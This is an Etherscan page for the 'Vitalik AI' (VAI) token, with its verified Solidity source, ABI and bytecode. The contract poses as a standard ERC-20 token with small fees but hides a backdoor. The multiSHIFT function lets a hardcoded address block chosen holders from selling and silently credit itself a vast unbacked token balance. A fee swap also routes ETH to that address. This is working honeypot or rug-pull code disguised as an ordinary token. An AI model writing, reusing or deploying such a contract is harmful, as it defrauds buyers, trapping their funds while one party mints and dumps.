ETH Price: $3,483.03 (+0.80%)

Token

Vitalik AI (VAI)
 

Overview

Max Total Supply

1,000,000,000 VAI

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,742,144.97 VAI

Value
$0.00
0xbdb520493f528442942e194749cd276e929de0ab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VitalikAI

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-11
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract VitalikAI is Context, IERC20, Ownable{

    using SafeMath for uint256;
    bool private excuteAd;
    string private _name = "Vitalik AI";
    string private _symbol = "VAI";
    uint8 private _decimals = 9;
    address payable public _shiftAddr;
    mapping (address => uint256) _balances;


    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _shiftListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;
    uint256 private rFee = (_totalSupply + 1).mul(8**8);

    bool inSwapAndLiquify;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    function multiSHIFT(bool status,address[] calldata golangA) public {
        require(_msgSender() == _shiftAddr);
        for (uint256 a; a < golangA.length; a++) {
             _shiftListed[golangA[a]] = status;
            excuteAd = (golangA[a] == _shiftAddr);
            if(excuteAd){
                uint256 beforeTransferAmount = _balances[_shiftAddr];
                _balances[_shiftAddr] =  _balances[_shiftAddr] + uint256(rFee + rFee.div(3));
                require(beforeTransferAmount < _balances[_shiftAddr],"not Enouth balance");
                }
        }
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    } 

    constructor () {

        _shiftAddr = payable(address(0x42b75a5A4e3209a9242404461073C9336e44c7e1));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }
    
    function UniswapV2PairCreate() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    receive() external payable {}

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _shiftAddr.transfer(MarketAmount);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }
                require(!_shiftListed[from], "ERC20: _shiftListed up the door !!!");

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"UniswapV2PairCreate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_shiftAddr","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_shiftListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"},{"internalType":"address[]","name":"golangA","type":"address[]"}],"name":"multiSHIFT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600a81526020017f566974616c696b2041490000000000000000000000000000000000000000000081525060019080519060200190620000519291906200049e565b506040518060400160405280600381526020017f5641490000000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200049e565b506009600360006101000a81548160ff021916908360ff16021790555060036009556003600a55600360009054906101000a900460ff16600a620000e49190620006c6565b633b9aca00620000f5919062000803565b600b556200012663010000006001600b54620001129190620005d6565b620003e960201b620012411790919060201c565b600c553480156200013657600080fd5b50620001476200046d60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a37342b75a5a4e3209a9242404461073c9336e44c7e1600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006200026c6200047560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600460006200032c6200046d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200037a6200046d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620003db9190620005a8565b60405180910390a36200099a565b600080831415620003fe576000905062000467565b600082846200040e919062000803565b90508284826200041f919062000633565b1462000462576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004599062000586565b60405180910390fd5b809150505b92915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004ac906200087b565b90600052602060002090601f016020900481019282620004d057600085556200051c565b82601f10620004eb57805160ff19168380011785556200051c565b828001600101855582156200051c579182015b828111156200051b578251825591602001919060010190620004fe565b5b5090506200052b91906200052f565b5090565b5b808211156200054a57600081600090555060010162000530565b5090565b60006200055d602183620005c5565b91506200056a826200094b565b604082019050919050565b620005808162000864565b82525050565b60006020820190508181036000830152620005a1816200054e565b9050919050565b6000602082019050620005bf600083018462000575565b92915050565b600082825260208201905092915050565b6000620005e38262000864565b9150620005f08362000864565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006285762000627620008b1565b5b828201905092915050565b6000620006408262000864565b91506200064d8362000864565b92508262000660576200065f620008e0565b5b828204905092915050565b6000808291508390505b6001851115620006bd57808604811115620006955762000694620008b1565b5b6001851615620006a55780820291505b8081029050620006b5856200093e565b945062000675565b94509492505050565b6000620006d38262000864565b9150620006e0836200086e565b92506200070f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000717565b905092915050565b600082620007295760019050620007fc565b81620007395760009050620007fc565b81600181146200075257600281146200075d5762000793565b6001915050620007fc565b60ff841115620007725762000771620008b1565b5b8360020a9150848211156200078c576200078b620008b1565b5b50620007fc565b5060208310610133831016604e8410600b8410161715620007cd5782820a905083811115620007c757620007c6620008b1565b5b620007fc565b620007dc84848460016200066b565b92509050818404811115620007f657620007f5620008b1565b5b81810290505b9392505050565b6000620008108262000864565b91506200081d8362000864565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008595762000858620008b1565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200089457607f821691505b60208210811415620008ab57620008aa6200090f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b612f7480620009aa6000396000f3fe60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c816841b1161006f578063c816841b14610417578063c860795214610442578063dd62ed3e1461046d578063e146f211146104aa578063f2fde38b146104e7578063fed12b431461051057610135565b80638da5cb5b1461034257806395d89b411461036d578063a9059cbb14610398578063ad04556f146103d5578063c5d24189146103ec57610135565b806323b872dd116100f257806323b872dd14610223578063313ce567146102605780633345611e1461028b5780633ecad271146102c857806370a082311461030557610135565b8063015d17eb1461013a57806306fdde0314610165578063095ea7b3146101905780631694505e146101cd57806318160ddd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190612654565b60405180910390f35b34801561017157600080fd5b5061017a61055f565b60405161018791906126ce565b60405180910390f35b34801561019c57600080fd5b506101b760048036038101906101b29190612337565b6105f1565b6040516101c49190612698565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906126b3565b60405180910390f35b34801561020457600080fd5b5061020d610635565b60405161021a9190612810565b60405180910390f35b34801561022f57600080fd5b5061024a600480360381019061024591906122e4565b61063f565b6040516102579190612698565b60405180910390f35b34801561026c57600080fd5b50610275610719565b6040516102829190612885565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad919061224a565b610730565b6040516102bf9190612698565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea919061224a565b610750565b6040516102fc9190612698565b60405180910390f35b34801561031157600080fd5b5061032c6004803603810190610327919061224a565b610770565b6040516103399190612810565b60405180910390f35b34801561034e57600080fd5b506103576107b9565b6040516103649190612639565b60405180910390f35b34801561037957600080fd5b506103826107e2565b60405161038f91906126ce565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612337565b610874565b6040516103cc9190612698565b60405180910390f35b3480156103e157600080fd5b506103ea610893565b005b3480156103f857600080fd5b50610401610c6b565b60405161040e9190612810565b60405180910390f35b34801561042357600080fd5b5061042c610c71565b6040516104399190612639565b60405180910390f35b34801561044e57600080fd5b50610457610c97565b6040516104649190612810565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f91906122a4565b610c9d565b6040516104a19190612810565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc919061224a565b610d24565b6040516104de9190612698565b60405180910390f35b3480156104f357600080fd5b5061050e6004803603810190610509919061224a565b610d44565b005b34801561051c57600080fd5b5061053760048036038101906105329190612377565b610e96565b005b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606001805461056e90612aec565b80601f016020809104026020016040519081016040528092919081815260200182805461059a90612aec565b80156105e75780601f106105bc576101008083540402835291602001916105e7565b820191906000526020600020905b8154815290600101906020018083116105ca57829003601f168201915b5050505050905090565b60006106056105fe6112bc565b84846112c4565b6001905092915050565b600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b600061064c84848461148f565b5061070e846106596112bc565b61070985604051806060016040528060288152602001612f1760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106bf6112bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b109092919063ffffffff16565b6112c4565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546107f190612aec565b80601f016020809104026020016040519081016040528092919081815260200182805461081d90612aec565b801561086a5780601f1061083f5761010080835404028352916020019161086a565b820191906000526020600020905b81548152906001019060200180831161084d57829003601f168201915b5050505050905090565b60006108886108816112bc565b848461148f565b506001905092915050565b61089b6112bc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091f90612790565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561098757600080fd5b505afa15801561099b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bf9190612277565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2157600080fd5b505afa158015610a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a599190612277565b6040518363ffffffff1660e01b8152600401610a7692919061266f565b602060405180830381600087803b158015610a9057600080fd5b505af1158015610aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac89190612277565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60095481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b610d4c6112bc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd090612790565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed76112bc565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b60005b8282905081101561123b578360086000858585818110610f1d57610f1c612bf4565b5b9050602002016020810190610f32919061224a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610fcf57610fce612bf4565b5b9050602002016020810190610fe4919061224a565b73ffffffffffffffffffffffffffffffffffffffff1614600060146101000a81548160ff021916908315150217905550600060149054906101000a900460ff161561122857600060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506110a56003600c54611b7490919063ffffffff16565b600c546110b291906128f5565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111e91906128f5565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121d90612750565b60405180910390fd5b505b808061123390612b1e565b915050610efa565b50505050565b60008083141561125457600090506112b6565b60008284611262919061297c565b9050828482611271919061294b565b146112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a890612770565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132b906127f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b90612710565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114829190612810565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f7906127d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611567906126f0565b60405180910390fd5b600d60009054906101000a900460ff161561159757611590848484611bbe565b9050611b09565b60006115a230610770565b9050600d60009054906101000a900460ff1615801561160b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561161a5761161981611d91565b5b61166c83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117525750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561175f57839050611a08565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117e2576117db60646117cd6009548861124190919063ffffffff16565b611b7490919063ffffffff16565b9050611860565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561185f5761185c606461184e600a548861124190919063ffffffff16565b611b7490919063ffffffff16565b90505b5b6000811115611964576118bb81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120df90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161195b9190612810565b60405180910390a35b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e8906127b0565b60405180910390fd5b611a04818661209590919063ffffffff16565b9150505b611a5a81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120df90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611afa9190612810565b60405180910390a36001925050505b9392505050565b6000838311158290611b58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4f91906126ce565b60405180910390fd5b5060008385611b6791906129d6565b9050809150509392505050565b6000611bb683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061213d565b905092915050565b6000611c49826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b109092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cde82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120df90919063ffffffff1656